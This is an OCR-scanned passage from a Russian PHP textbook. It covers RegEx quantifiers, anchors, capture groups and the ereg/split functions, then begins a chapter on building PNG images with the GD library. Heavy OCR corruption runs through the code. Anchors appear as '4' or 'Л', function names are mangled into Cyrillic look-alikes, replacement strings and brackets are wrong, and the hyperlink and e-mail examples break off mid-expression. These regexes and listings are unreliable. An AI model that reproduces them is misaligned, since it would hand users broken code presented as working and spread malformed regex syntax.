Перейдем теперь к рассмотрению так называемых квантификаторов — спе-
циальных знаков, использующихся для уточнения действия предшествую-
щих им символов первого класса.

Ноль или более совпадений

Наиболее важный из них — звездочка *. Она обозначает, что предыдущий
символ может быть повторен ноль или более раз (то есть, возможно, и ни
разу). Например , выражение а-*- соответствует строке, в которой есть буква
а, затем — ноль или более минусов и, наконец, завершающий минус.

В простейшем случае при этом делается попытка найти как можно более
длинную строку, т. е. звездочка "поглощает" так много символов, как это

----------------------- Page 318-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 303

возможно. К примеру , для строки а—ь найдется подстрока а— (звездочка
"заглотила" 2 минуса), а не а- (звездочка захватила 1 минус). Это — так на-
зываемая "жадность" квантификатора, и в РНР нет, к сожааднию, возмож-
ности "убавить ему аппетит".

Замечание

Язык PCRE, в отличие от RegEx, позволяет ограничивать "жадность" квантифи-
каторов.

Одно или более совпадений

Возможно, вы заметили некоторую неуклюжесть в предыдущем примере .
В самом деле, фактически мы составляли выражение , которое ищет строки
с а и одним или более минусом . Можно было бы записать его и так: а — *,
но лучше воспользоваться специальным квантификатором, который как раз
и обозначает "одно или более совпадений" — символом плюса +. С его по-
мощью можно было бы выражение записать лаконичнее : а-+, что буквально
и читается как "а и один или более минусов". Вот пример выражения, кото-
рое определяет, есть ли в строке английское слово, написанное через дефис:
[a-zA-Z] +- [a-zA-Z ] +.

Ноль или одно совпадение

И уж чтобы совсем облегчить жизнь , иногда используют еще один кванти-
фикатор — знак вопроса ?. Он обозначает, что предыдущий символ может
быть повторен ноль или один (но не более!) раз. Например , выражение
[a-zA_z]+\r?\n определяет строки, в которых последнее слово прижато к
правому краю строки. Если мы работаем в Unix, то там в конце строки сим-
вол \г обычно отсутствует, тогда как в текстовых файлах Windows каждая
строка заканчивается парой \г\п . Для того чтобы сценарий правильно рабо-
тал в обоих системах, мы должны учесть эту особенность — возможное на-
личие \г перед концом строки.

Заданное число совпадений

Наконец, давайте рассмотрим последний квантификатор повторения. С его
помощью можно реализовать все перечисленные выше возможности, прав-
да, и выглядит он несколько более громоздко. Итак, сейчас речь пойдет о
квантификаторе "фигурные скобки". Существует несколько форматов его
записи. Давайте последовательно разберем каждый из них .

П x { n , m } — указывает, что символ X может быть повторен от п до m раз;

П х ( п } - указывает, что символ X должен быть повторен роено п раз;

П х ( п , ) — указывает, что символ X может быть повторен п или более раз.

----------------------- Page 319-----------------------
304 Часть IV. Стандартные функции РНР

Значения п и m в этих примерах обязательно должны принадлежать диапа-
зону от 0 до 255 включительно. В качестве тренировки вы можете подумать,
как будут выглядеть квантификаторы *, + и ? в терминах ( . . . } .

Мнимые символы

Мнимые символы — это просто участок строки между соседними символами
(да, именно так, как это ни абсурдно), удовлетворяющий некоторым свойст-
вам. Фактически, мнимый символ — это некая позиция в строке. Например,
символ соответствует началу строки (заметьте: не первому символу строки,
а в точности началу строки, позиции перед первым символом), а $ — ее
концу (опять же, позиции за концом строки).
Чтобы это понять, давайте рассмотрим выражение Л аЬс, которое соответствует

любой строке, начинающейся с abc, и выражение abc$, соответствующее
строке с abc на "хвосте". Наконец, выражение Л аЬс$ сопоставимо только со

строкой abc, и в этом смысле оно эквивалентно сравнению на равенство.

Существуют еще два мнимых символа, задающих начало и конец слова.
Первый из них обозначается как [ [ : < : ] ] и указывает на позицию перед
первой буквой очередного слова. Последний записывается в виде [ [ : > : ] ] и
сигнализирует о позиции после последнего символа слова. Под словом здесь
понимается фрагмент строки, удовлетворяющий выражению [ [ :ainum : ] ]+ ,
т. е., любая последовательность из букв и цифр.

Примечание

Язык RegEx поддерживает только четыре уже рассмотренных нами мнимых
символа. Этого нельзя сказать о формате PCRE, в котором, наоборот, количе-
ство таких символов доведено до абсурда.

Вот пример использования мнимых символов:

$st=" string ";

if(ereg("[[:<:]] ([[ralnum:]]+ ) [ [:>:]]",$st,$Pock))
echo "Найдено слово : $Pock[l]";

Оператор альтернативы

При описании простых символов мы рассматривали конструкцию [ . . . ] ,
которая позволяла нам указывать, что в нужном месте строки должен стоять
один из указанных символов. Фактически, это не что иное, как оператор
альтернативы, работающий только с отдельными символами (и потому до-
вольно быстро).

Но в языке RegEx есть возможность задавать альтернативы не одиночных
символов, а сразу их групп. Это делается при помощи оператора | .

----------------------- Page 320-----------------------
Глава 22. Основы регулярных выражений в формате РедЕх 305

Вот несколько примеров его работы.

П Выражение 1 | 2 | 3 полностью эквивалентно выражению [123] , но сопос-
тавление происходит несколько медленнее.
П Выражению ааа | Л а | z$ i z z z соответствуют строки, в которых есть под-

строка ааа , либо которые начинаются на а, либо оканчиваются на z, ли-
бо, наконец, содержат подстроку z z z .

П Выражению abci iabc2 2 |abc33 3 соответствуют строки, в которых встре-
чаются ПОДСТРОКИ abcl , abc22 ИЛИ аЬсЗЗЗ (а ВОЗМОЖНО, И ВСС Три ОДНО-
временно).

Группирующие скобки

Последний пример наводит на рассуждения о том, нельзя ли как-нибудь
сгруппировать отдельные символы, чтобы не писать по несколько раз одно
и то же. В нашем примере строка abc встречается в выражении аж 3 раза.
Но мы не можем написать выражение так: abci|22|333 , потому что опера-
тор | , естественно, пытается применить себя к как можно более длинной
последовательности команд.

Именно для цели управления оператором альтернативы (но не только) и
служат группирующие круглые скобки ( . . . ) . Нетрудно догадаться по смыс-
лу , что выражение из последнего примера можно записать с их помощью
так: a b c ( I I 2 2 | 3 3 3 } .

Конечно, скобки могут иметь произвольный уровень вложенности. Это быва-
ет полезно для сложных выражений, содержащих много условий, а также для
еще одного применения круглых скобок, которое мы сейчас и рассмотрим.

"Карманы"

Пока что мы научились только определять, соответствует ли строка регуляр-
ному выражению и, возможно, предпринимать какие-то действия по замене
найденной части на другую подстроку. Однако на практике часто бывает
нужно не просто узнать, где в строке имеется совпадение (и что оно из себя
представляет), но также и разбить это совпадение на части, ради которых,
собственно, и велась вся работа.

Вот пример , проясняющий ситуацию. Пусть нам в строке задана дата в
формате DD-MM-YYYY, и в ней могут встретиться паразитные пробелы в
начале и конце. Нас интересует, что же все-таки за дату нам передали. То
есть, мы точно знаем, что эта строка — именно дата, но вот где в ней день,
где месяц и где год?

----------------------- Page 321-----------------------
306 Часть IV. Стандартные функции РНР

Посмотрим, что же предлагает нам RegEx и РНР для решения рассматри-
ваемой задачи. Для начала установим, что все правильные даты должны со-
ответствовать выражению
4 * ( ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) ) *$

Для простоты мы не проверяем, что длина каждого поля не должна превы-
шать 2 (для года — 4) символа . Все строки, не удовлетворяющие этому вы-
ражению, заведомо не являются датами.

Мы не зря ограничили отдельные части регулярного выражения скобками,
хотя, на первый взгляд, можно было бы их опустить. И вот почему : любой
блок, обрамленный в выражении скобками, выделяется как единое целое и
записывается в так называемый "карман" (номер кармана соответствует по-
рядку открывающихся скобок). В нашем случае в первый карман запишется
дата, но уже без ведущих и концевых пробелов (это обеспечивает самая
внешняя пара скобок), во второй — как раз день, в третий — месяц и, нако-
нец, в четвертый — год.

Примечание

Обратите еще раз внимание на порядок нумерации карманов — она идет по
номеру открывающейся скобки.

Как уже упоминалось, в нулевой карман в любом случае записывается все
найденное совпадение. В данном примере это будет вся строка.

Как получить содержимое наших карманов? Очень просто: как раз тот спи -
сок, который передается по ссылке функции егед о третьим параметром , и
есть карманы . Исходя из этого, имеем следующую программу на РНР, вы-
полняющую требуемые действия:

$str=" 15-16-2000 "; // к примеру

// Разбиваем строку на куски при помощи егед
егедС"4 * ( ( [0-9] + ) - ( [0-9]+ ) - ( [0-9]+ ) ) *$", $str , SPockets) ;

// Теперь разбираемся с карманами
echo "Дата без пробелов: $Pockets[l] <br>"
echo "День : $Pockets[2 ] <br>";

echo "Месяц : $Pockets[3 ] <br>";
echo "Год: $Pockets[4 ] <br>";

Вот теперь мы можем усложнить наш пример , объявив, что числа внутри
даты могут разделяться не только дефисом, но и, скажем, точкой или косой
чертой, и, к тому же, между цифрами могут также попасться паразитные
пробелы. Вот как будет выглядеть выражение, реализующее разбор таких
строк:
4 *([0-9]+ ) * [ - . / ] * ( [ 0 - 9 ] + ) *[-./ ] *([0-9]+ ) *$

----------------------- Page 322-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 307

Использование карманов в функции замены

Мы рассмотрели только самый простой способ использования карманов -
прямой их просмотр после выполнения поиска. Однако возможности, пре-
доставляемые языком RegEx, куда шире. Особенно часто эти возможности
применяются для замены с помощью регулярных выражений.

Предположим, нам нужно все слова в строке, начинающиеся с "доллара" $,
сделать "жирными" , — обрамить тэгами <ь> и </ь> , — для последующего
вывода в браузер. Это может понадобиться, если мы хотим текст некоторой
программы на РНР вывести так, чтобы в нем выделялись имена перемен-
ных. Очевидно, выражение для обнаружения имени переменной в строке
будет таким : \ $ [a-zA-Z_ ] [ [ : a l n u m : ] ] * .

Но как нам использовать его в функции ereg_Replace() ? Вот фрагмент
программы, которая делает это:

$str='<? $a=10; for($i=0; $i<10; $i++) echo $i; ?>'; // к примеру

$str=ereg_Replace("(\\$[a-zA-Z_][[:alnum:]]*)","<b>\\K/b>",$str);

Замечание

Пожалуйста, обратите опять внимание на то, что слэши должны удваиваться.

Нетрудно догадаться, как "оно" работает: просто во время замены везде вме-
сто сочетания \ 1 подставляется содержимое кармана номер 1.

Использование карманов
в функции сопоставления

И даже на том, что было описано выше, возможности карманов не исчер-
пываются. Мы можем задействовать содержимое карманов и в функции
erego -- раньше, чем закончится сопоставление. А именно, управлять хо-
дом поиска на основе данных в карманах.

В качестве примера рассмотрим такую далеко не праздную задачу. Известно,
что в строке есть подстрока, обрамленная какими-то HTML-тэгами (напри -
мер, <ь> или <рге>), но неизвестно, какими . Требуется поместить эту под-
строку в карман, чтобы в дальнейшем с ней работать. Разумеется, закры-
вающий тэг должен соответствовать открывающему — например , к тэгу <ь>
парный — </Ь> , а К <рге> — </рге> .

Задача решается с помощью такого регулярного выражения:
< ( [ [:alnum : ] ] + ) > ( [Л <]

При этом результат окажется во втором кармане, а имя тэга — в первом. Вот
как это работает: РНР пытается найти открывающий тэг, и, как только нахо-
дит, записывает его имя в первый карман (так как это имя обрамлено в выра-
жении первой парой скобок). Дальше он смотрит вперед и, как только натал-

11 Зак . 699

----------------------- Page 323-----------------------
308 Часть IV. Стандартные функции РНР

кивается на </ , определяет, следует ли за ним то самое имя тэга, которое у
него лежит в первом кармане. Это действие заставляет его предпринять кон-
струкция \1, которая замещается на содержимое первого кармана каждый раз,
когда до нее доходит очередь. Если имя не совпадает, то такой вариант РНР
отбрасывает и "идет" дальше, а иначе сигнализирует о совпадении.
Вот фрагмент программы, который все описанное делает тремя строчками:

$str = "Hello, this <k»word</k» is bold!" ;
if(ereg("<([[:alnum : ] ] + ) > { [Л <]*)</\\l>",$str,$Pockets)}

echo "Слово '$Pockets[2]' обрамлено тэгом '<$Pockets[1]>'" ;

Дополнительные функции

bool eregi(string $expr , string $str [,list &$Matches])

To же, что и ereg ( } , только без учета регистра символов.

Замечание

Хотя регистр и не учитывается при поиске, в карманах $Matches все найден-
ные подстроки все же запишутся с точным сохранением регистра букв.

string eregi_replace (string $expr, strint $str, string $strToChange)

To же, что и ereg_repiace ( ) , но без учета регистра буквенных символов.

int quotemeta (string $str)

Часто бывает нужно гарантировать, чтобы в какой-то переменной-строке ни
один символ не мог трактоваться как метасимвол. Этого можно добиться,
предварив каждый из них наклонной чертой, что и делает функция
quotemeta ( ) . А именно, она "заслэшивает" следующие символы: . , \ \ , +, *,

Внимание

Перед I слэш почему-то не ставится. Будьте особо внимательны!

list split(string $pattern, string $string [,int $limit])

Эта функция очень похожа на explode ( ) . Она тоже разбивает строку
$string на части, но делает это, руководствуясь регулярным выражением
$pattern. А именно, те участки строки, которые совпадают с этим выраже-
нием, и будут служить разделителями. Параметр $iimit , если он задан, име-
ет то же самое значение, что и в функции explode ( ) — а именно, возвраща-
ется список из не более чем $iimit элементов, последний из которых
содержит участок строки от ($iimit-i)-ro совпадения до конца строки.

----------------------- Page 324-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 309

Наверное, вы уже догадались, что функция split о работает гораздо мед-
леннее, чем explode о . Однако она, вместе с тем, имеет впечатляющие воз-
можности, в чем мы очень скоро убедимся. Тем не менее, не стоит приме-
нять split о там, где прекрасно подойдет explode о . Чаще всего этим
грешат программисты, имеющие некоторый опыт работы с Perl, потому что
в Perl для разбиения строки на составляющие есть только функция split ( ) .
list spliti(string $pattern , string $string [,int $limit])

Аналог функции split о, который делает то же самое, только при сопос-
тавлении с регулярным выражением не учитывается регистр символов.

Примеры использования
регулярных выражений

Какая же книга, описывающая (даже вкратце) регулярные выражения, обхо-
дится без примеров. Я не буду отступать от установленных канонов, хотя,
конечно, понимаю, что истинная свобода при работе с выражениями дос-
тигается только практикой . Некоторые из следующих ниже примеров вы-
глядят довольно сложно, но, если разобраться, смысл чаще всего оказывает-
ся на поверхности.

Имя и расширение файла

Задача: для имени файла в $fname установить расширение out независимо
от его предыдущего расширения.

Решение:
$fname=ereg_Replace(
1 ([[:alnum:]]) (\\.[[:alnum:].]*)?$' ,

1
'\\l-out ,
$fname

Обратите внимание на довольно интересную структуру этого выражения: мы
не можем просто "привязать" его к концу строки при помощи $, что обу-
словлено спецификой работы RegEx. Мы также привязываем начало выра-
жения к любой букве или цифре, которой оканчивается имя файла.

Имя каталога и файла

Цель: разбить полное имя файла $path на имя каталога $dir и и имя файла
$fname.

----------------------- Page 325-----------------------
310 Часть IV. Стандартные функции РНР

Средства:

$fname = e r e g _ R e p l a c e ( " . * [ \ \ Л " / " " / $ p a t h ) ;
$dir = e r e g _ R e p l a c e ( " [ \ \ / ] ? [л \ \ / ] * $ " , " " , $ p a t h ) ;

Проверка на идентификатор

Задача: проверить , является ли строка $id идентификатором , т. е. состоит
ли она исключительно из алфавитно-цифровых символов (чтобы сделать
задачу более интересной, договоримся также, что первым символом строки
не может быть цифра).

Решение:

if(eregi("[a-z ] [ [ : a l n u m : ] ] * " , $ i d ) ) echo "Это идентификатор!" ;

Модификация тэгов

Задача: в тексте, заданном в $text , у всех тэгов <img > заменить в src рас-
ширение файла рисунка на gif , вне зависимости от того, какое расширение
было у него до этого и было ли вообще.

Решение:

$text=eregi_Replace(
' ( < i m g [A > ] * s r c = " ? [ [ : a l n u m : ] / \ \ ] *) ( \ \ . [ [ r a l n u m : ] ] * ) ? ' ,

- \ \ l . j p g ' ,
$text

Преобразование гиперссылок

Задача: имеется текст, в котором иногда встречаются подстроки вида
п р о т о к о л : / / U R L , где протокол — один из протоколов http, ftp или gopher, а
URL — какой-нибудь адрес в Интернете. Нужно заместить их на HTML-эк-
виваленты <а href=...>...</a>.

Решение:

$w="[:alnum:]";

$р="[:punct:]";

$text=eregi Replace (

"((https?I ftp|gopher ) ://". // протокол

"i$w-]+(\\.[$w-]+)*". // тля хоста

"(/[$w+&.%]*(\\?[$w?+&%]*)?)?". // имя файла и параметры

----------------------- Page 326-----------------------
Глава 22. Основы регулярных выражений в формате ПедЕх 311

Преобразование адресов E-mail

Задача: имеется текст, в котором иногда встречаются строки вида
пользователь@хост , т. е. E-mail-адреса в обычном формате (или хотя бы
большинство таких E-mail) . Необходимо преобразовать их в HTML-ссылки.

Решение:

$text=eregi__Replace (

1
( [ [ :alnum : ] - . ] +@ ' . // пользователь

1
[ [ :alnum : ]-]+ (\\ .[[ : alnum : ]-]+)*' . // домен

' (\\? {[[ : alnum : ]?+&%]*)?)?' . // необязательные параметры

Этот пример , хоть и не безупречен, но все же преобразует правильно льви -
ную долю адресов электронной почты.

Выделение всех уникальных
слов из текста

Задача: перед нами некоторый довольно длинный текст в переменной
$text. Необходимо выделить из него все слова и оставить из них только
уникальные . Результат должен быть представлен в виде списка , отсортиро-
ванного в алфавитном порядке . Решение этой задачи может потребоваться,
например , при написании индексирующей поисковой системы на РНР .

Решение: воспользуемся функцией split () и ассоциативным массивом.

i Листинг 22.1. Отбор уникальных слов

// Эта функция выделяет из текста в $text все уникальные слова и

// возвращает их список , отсортированный в алфавитном порядке .

function GetUniques ($text)

{ // Сначала получаем все слова в тексте

$Words=split (" ( [ :punct : ] [ : blank : ] ]+",$text) ;

$Uniq=array ( ) ; // список уникальных слов

$Test=array () ; // хэш уже обработанных слов

----------------------- Page 327-----------------------
312 Часть IV. Стандартные функции РНР

// Проходимся по всем словам в $Words и заносим в $Uniq уникальные

foreach($Words as $v) {
$v=strtolower($v); // в нижний регистр

// Слово уже нам встречалось? Если нет , то занести в $Uniq

i f ( ! @ $ T e s t [ $ v ] ) $Uniq[]=$v ;

// Указать , что это слово уже обрабатывалось

$Test[$v]=l;

}
// Наконец , сортируем список

sort($Uniq);
return $Uniq ;

Данный пример довольно интересен, т. к. он имеет довольно большую
функциональность при небольшом объеме. Его "сердце" -- функция split о
и цикл перебора слов с отбором уникальных. Мы используем алгоритм, ос-
нованный на применении ассоциативного массива для отбора уникальных
элементов. Как он работает — надеюсь, ясно из комментариев.
Теперь мы можем воспользоваться функцией из листинга 22.1, например, в
таком контексте:

$fname="sometext.txt";

$f=fopen($fname,"r");

$text=fread($f,filesize($fname));

fclose($f);

$Uniq=GetUniques($text) ;

foreach($Uniq as $v) echo "$v ";

С Замечание ^

Интересно будет отметить, что функция preg_split ( ) , которая работает с ре-
гулярными выражениями в формате PCRE, и которую мы не рассматриваем в
этой книге, показывает гораздо лучшую производительность в этом примере,
чем split () — чуть ли не в 3 раза быстрее! Если вам нужна максимальная
производительность, пожалуй, будет лучше воспользоваться именно ей, но
прежде почитайте что-нибудь о Perl и его регулярных выражениях — например,
в замечательной книге Perl Cookbook Тома Кристиансена и Ната Торкингтона
(русское издание: "Библиотека программиста. Perl", издательство Питер, 2000).

Заключение

Конечно, можно придумать и еще множество примеров применения регу-
лярных выражений. Вы наверняка сможете это сделать самостоятельно —

----------------------- Page 328-----------------------
Глава 22. Основы регулярных выражений в формате RegEx 373

особенно после некоторой практики, которая так важна для понимания
этого материала.

Однако я хочу обратить ваше внимание на то, что во многих задачах как раз
не обязательно применять регулярные выражения. Так, например , задачи
"поставить слэш перед всеми кавычками в строке" и "заменить в строке все
КаВЫЧКИ на squot; " МОЖНО И НУЖНО решать При ПОМОЩИ str_replace () , а
не ereg_Repiace о (это существенно— раз в 20 — повысит быстродейст-
вие). Не забывайте, что регулярное выражение — некоторого рода "насилие"
над компьютером, принуждение делать нечто такое, для чего он мало при-
способлен. Этим объясняется медлительность механизмов обработки регу-
лярных выражений, экспоненциально возрастающая с ростом сложности
шаблона.

----------------------- Page 329-----------------------
Глава 23

Работа с изображениями

Как мы знаем, одним из самых важных достижений WWW по сравнению со
всеми остальными службами Интернета стала возможность представления в
браузерах пользователей мультимедиа-информации , а не только "сухого"
текста. Основной объем этой информации приходится , конечно же, на изо-
бражения.

Разумеется, было бы довольно расточительно хранить и передавать все ри-
сунки в обыкновенном растровом формате (наподобие BMP) , тем более, что
современные алгоритмы сжатия позволяют упаковывать такого рода данные
в сотни и более раз эффективней . Чаще всего для хранения изображений
используются три формата сжатия с перечисленными ниже свойствами.

СИ JPEG . Идеален для фотографий, но сжатие изображения происходит с
потерями качества, так что этот формат совершенно не подходит для хра-
нения различных диаграмм и графиков.

П GIF. Позволяет достичь довольно хорошего соотношения размер/ка-
чество, в то же время не искажая изображение; применяется в основном
для хранения небольших точечных рисунков и диаграмм .

П PNG. Сочетает в себе хорошие стороны как JPEG, так и GIF, но в на-
стоящий момент ему почему-то не выражают особого доверия — скорее,
по историческим причинам , из-за нежелания отказываться от GIF и т. д.

В последнее время GIF все более вытесняется форматом PNG, что связано в
первую очередь с окончанием действия бесплатной лицензии изобретателя
на его использование . К сожалению , для небольших изображений GIF все
еще остается самым оптимальным форматом, оставляя позади (иногда дале-
ко позади) PNG.

Зачем может понадобиться в Web-программировании работа с изображе-
ниями? Разве это не работа дизайнера?

В большинстве случаев это действительно так. Однако есть и исключения,
например, графические счетчики (автоматически создаваемые картинки с
отображаемым поверх числом , которое увеличивается при каждом "заходе"
пользователя на страницу) , или же графики, которые пользователь может
строить в реальном времени — скажем, диаграммы сбыта продукции или
снижения цен на комплектующие. Все эти приложения требуют как мини -

----------------------- Page 330-----------------------
Глава 23. Работа с изображениями 315

мум умения генерировать изображения "на лету", причем с довольно боль-
шой скоростью. Чтобы этого добиться на РНР, можно применить два спо-
соба: задействовать какую-нибудь внешнюю утилиту для формирования
изображения (например, известную программу fly), или же воспользоваться
встроенными функциями РНР для работы с графикой. Оба способа имеют
как достоинства, так и недостатки, но, пожалуй, недостатков меньше у вто-
рого метода, так что им-то мы и займемся в этой главе.

С недавнего времени все программные продукты, которые умели формиро-
вать изображения в формате GIF, переориентируются на PNG . В частности,
не так давно компания , поддерживающая библиотеку GD для работы с GIF-
изображениями, переписала ее код с учетом формата PNG. Так как РНР
использует эту библиотеку, то поддержка GIF автоматически исключилась и
из него. К счастью, в Интернете все еще можно найти старые версии GD с
поддержкой GIF и, таким образом, настроить РНР для работы с этим фор-
матом, но задумайтесь: стоит ли теперь применять GIF, если весь мир
вполне успешно переходит на PNG, тем более, что его поддерживают прак-
тически все современные браузеры (четвертой версии) — а это 98% от ис-
пользуемого их числа.. .

Универсальная функция
GetlmageSizeO

Что же, работать с картинками приходится часто — гораздо чаще, чем может
показаться на первый взгляд. Среди наиболее распространенных операций
можно особо выделить одну — определение размера рисунка. Чтобы сделать
программистам "жизнь раем", разработчики РНР встроили в него функцию,
которая работает практически со всеми распространенными форматами
изображений, в том числе с GIF, JPEG и PNG.

list GetlimageSize(string $fiiename [,arrays $imageinfo] )

Эта функция предназначена для быстрого определения в сценарии размеров
(в пикселах) и формата рисунка, имя файла которого передано ей в первом
параметре. Она возвращает список из четырех элементов. Первый элемент
(с ключом 0) хранит ширину картинки в пикселах, второй (с ключом 1) —
его высоту. Ячейка массива с ключом 2 определяется форматом изображе-
ния: 0, если это GIF, 1 в случае JPG и 2 для PNG. Следующий элемент,
имеющий ключ 3, будет содержать после вызова функции строку примерно
следующего вида: height=sx width=sy , где sx и sy — соответственно шири-
на и высота изображения. Это применение задумывалось для того, чтобы
облегчить вставку данных о размере изображения в тэг <img> , который мо-
жет быть сгенерирован сценарием.

----------------------- Page 331-----------------------
316 Часть IV. Стандартные функции РНР

Работа с изображениями
и библиотека GD

Давайте теперь рассмотрим идею создания рисунков сценарием "на лету". На-
пример, как мы уже замечали, это очень может пригодиться при создании
сценариев-счетчиков, графиков, картинок-заголовков да и многого другого.
Для деятельности такого рода существует специальная библиотека под на-
званием GD. Она содержит в себе множество функций (такие как рисование
линий , растяжение/сжатие изображения, заливка до границы, вывод текста
и т. д.), которые могут использовать программы, поддерживающие работу с
данной библиотекой. РНР (со включенной поддержкой GD) как раз и явля-
ется такой программой.

Замечание

Поддержка GD включается при компиляции и установке РНР. Возможно, неко-
торые хостинг-провайдеры ее не имеют. Выясните, работает ли РНР вашего
хостера с библиотекой GD.

Пример

Начнем сразу с примера сценария , который представляет собой не HTML-
страницу в обычном смысле, а рисунок PNG. То есть URL этого сценария
можно поместить в тэг:

<img src=button.php?Hello+world!>

Как только будет загружена страница, содержащая указанный тэг, сценарий
запустится и отобразит надпись Hello world ! на фоне рисунка, лежащего в
images/button.png . Полученная картинка нигде не будет храниться — она
создается "на лету".

Рис. 23.1. Демонстрация
возможностей вывода
TrueType-шрифтов на РНР

----------------------- Page 332-----------------------
Глава 23. Работа с изображениями _ 317

I Листинг 23.1. Создание картинки "на лету"
I. ...... . ;....., .............. . . ............................................... . . ...... . . ...................... . . ........... . . ............ . ; ................ . . ................................. . 1

<?
// Получаем строку , которую нам передали в параметрах

$string=$QUERY_STRING;

// Загружаем рисунок фона с диска

$im = imageCreateFromPng ("images/button . png") ;

// Создаем в палитре новый цвет — оранжевый
$orange = imageColorAllocate ($im, 220, 210 , 60);
// Вычисляем размеры текста , который будет выведен
$рх = (imageSx($im)-7.5*strlen($string) ) /2;
// Выводим строку поверх того , что было в загруженном изображении

imageString ($im, 3, $рх , 9, $string , $orange ) ;

// Сообщаем о том , что далее следует рисунок PNG

Header ( "Content-type : image/png" ) ;
// Теперь — самое главное : отправляем данные картинки в

// стандартный выходной поток , т . е . в браузер

imagePng ($im) ;

/ / В конце освобождаем память , занятую картинкой

imageDestroy ($im) ;

Итак, мы получили возможность "на лету" создавать стандартные кнопки с
разными надписями, имея только "шаблон" кнопки.

Создание изображения

Давайте теперь разбираться, как работать с картинками в GD. Для начала
нужно картинку создать — пустую (при помощи imagecreate ( ) ) или же за-
груженную С диска (imageCreateFromPng() , imageCreateFromJpeg() ИЛИ
imageCreateFromGif о , в зависимости от того, какие форматы поддержива-
ются РНР и GD).

int imageCreate(int $x, int $y)

Создает пустую картинку размером $х на $у точек и возвращает ее иденти-
фикатор. После того, как картинка создана, вся работа с ней осуществляется
именно через этот идентификатор, по аналогии с тем, как мы работаем с
файлом через его дескриптор.
int imageCreateFromPng(string $filename) или
int imageCreateFromJpeg(string $filename) или
int imageCreateFromGif(string $filename)

----------------------- Page 333-----------------------
318 Часть IV. Стандартные функции РНР

Эти функции загружают изображения из файла в память и возвращают его
идентификатор. Как и после вызова imageCreate ( ) , дальнейшая работа с
картинкой возможна только через этот идентификатор. При загрузке с дис-
ка изображение распаковывается и хранится в памяти уже в неупакованном
формате, для того чтобы можно было максимально быстро производить с
ним различные операции, такие как масштабирование, рисование линий
и т. д. При сохранении на диск или выводе в браузер функцией imagePng о
(или, соответственно, imageJpeg O и i m a g e G i f o ) картинка автоматически
упаковывается.

Стоит заметить, что не обязательно все три функции будут доступны в вашей
версии РНР. Скорее Всего, В ней не ОКажеТСЯ ФУНКЦИИ imageCreateFromGif ( ) ,
а ВОЗМОЖНО, И imageCreateFromJpeg O , ПОТОМУ ЧТО ОТ первой разработчики
GD просто отказались, а вторая появилась сравнительно недавно. Надеюсь, в
скором времени ситуация нормализуется, но сейчас, к сожалению, это не так.

Определение параметров
изображения

Как только картинка создана и получен ее идентификатор, GD становится
совершенно все равно, какой формат она имеет и каким путем ее создали.
То есть все остальные действия с картинкой происходят через ее идентифи-
катор, вне зависимости от формата, и это логично — ведь в памяти изобра-
жение все равно хранится в распакованном виде (наподобие BMP), а зна-
чит, информация о ее формате нигде не используется. Так что вполне
ВОЗМОЖНО ОТКРЫТЬ PNG-ИЗОбражеНИе С ПОМОЩЬЮ ImageCreateFromPng ( ) И
сохранить ее на диск функцией image jpeg ( ) , уже в другом формате. В даль-
нейшем можно в любой момент времени определить размер загруженной
КарТИНКИ, ВОСПОЛЬЗОВаВШИСЬ ФУНКЦИЯМИ imageSX O И i m a g e S Y O :

int imageSX(int $im)

Функция возвращает горизонтальный размер изображения, заданного своим
идентификатором, в пикселах.

int imagesY(int Sim )

Возвращает высоту картинки в пикселах.

int imageColorsTotal(int $im)

Эту функцию имеет смысл применять только в том случае, если вы работаете
с изображениями, "привязанными" к конкретной палитре — например, с фай-
лами GIF. Она возвращает текущее количество цветов в палитре. Как мы
вскоре увидим , каждый вызов imagecoiorAiiocate о увеличивает размер па-
литры . В то же время известно, что если при небольшом размере палитры
GIF-картинка сжимается очень хорошо, то при переходе через степень двои-

----------------------- Page 334-----------------------
Глава 23. Работа с изображениями 319

ки (например, от 16 к 17 цветам) эффективность сжатия заметно падает, что
ведет к увеличению размера (так уж устроен формат GIF) . Если мы не хотим
этого допустить и собираемся вызывать imageCoiorAiiocate о только до пре-
дела 16 цветов, а затем перейти на использование imageCoiorciosest о , нам
очень может пригодиться рассматриваемая функция .

Сохранение изображения

Давайте займемся функцией, поставленной в листинге 23.1 "на предпослед-
нее место", которая, собственно, и выполняет большую часть работы — вы-
водит изображение в браузер пользователя. Оказывается, эту же функцию
можно применять и для сохранения рисунка в файл.

int imagePng(int $im [,string $filename]) или

int imageJpeg(int $im [,string $filename] ) или
int imageGif(int $im [,string $filename] )

Эти функции сохраняют изображение, заданное своим идентификатором и
находящееся в памяти, на диск, или же выводят его в браузер. Разумеется,
вначале изображение должно быть загружено или создано при помощи
функции imageCreate ( ) , т . е . мы должны знать его идентификатор $im .

Если аргумент $fiienam e опущен , то сжатые данные в соответствующем
формате выводятся прямо в стандартный выходной поток, т. е. в браузер.
Нужный заголовок Content-type при этом не выводится, ввиду чего нужно
выводить его вручную при помощи H e a d e r ! ) , как это было показано в при-
мере из листинга 23.1 .

Внимание

Некоторые браузеры не требуют вывода правильного Content-type , а опре-
деляют, что перед ними рисунок, по нескольким первым байтам присланных
данных. Ни в коем случае не полагайтесь на это! Дело в том, что все еще су-
ществуют браузеры, которые этого делать не умеют. Кроме того, такая техника
идет вразрез со стандартами HTTP.

Фактически, вы должны вызвать одну из трех команд , в зависимости от ти-
па изображения:

Header("Content-type : image/png") для PNG
Header("Content-type : image/jpeg" ) для JPEG

Header("Content-type : image/gif") для GIF

Рекомендую их вызывать не в начале сценария, а непосредственно перед
ВЫЗОВОМ imagePngO , imageGif O ИЛИ imageJpeg ( ) , ПОСКОЛЬКУ Иначе ВЫ не
сможете никак увидеть сообщения об ошибках и предупреждения, которые,
возможно, будут сгенерированы программой.

----------------------- Page 335-----------------------
320 _ Часть IV. Стандартные функции РНР

Примечание

К рассмотренным только что функциям можно сделать точно такие же замечания,
как и к семейству imageCreateFromXXX ( } , т. е., некоторые из них могут отсутст-
вовать — скорее всего, последняя. Однако случаются и забавные казусы. Я ви-
дел версию РНР, в которой не поддерживалась вообще ни одна из этих функций,
ровно как и функции imageCreateFromXXX ( ) . В то же время imageCreate ( )
работала (во всяком случае, так казалось). Возникает интересный вопрос: мы
можем создавать изображения, рисовать в них линии, круги, выводить текст, но
не в состоянии ни сохранить их где-нибудь, ни даже загрузить уже готовую кар-
тинку с диска. Зачем тогда вообще были нужны все остальные функции?..

Работа с цветом в формате RGB

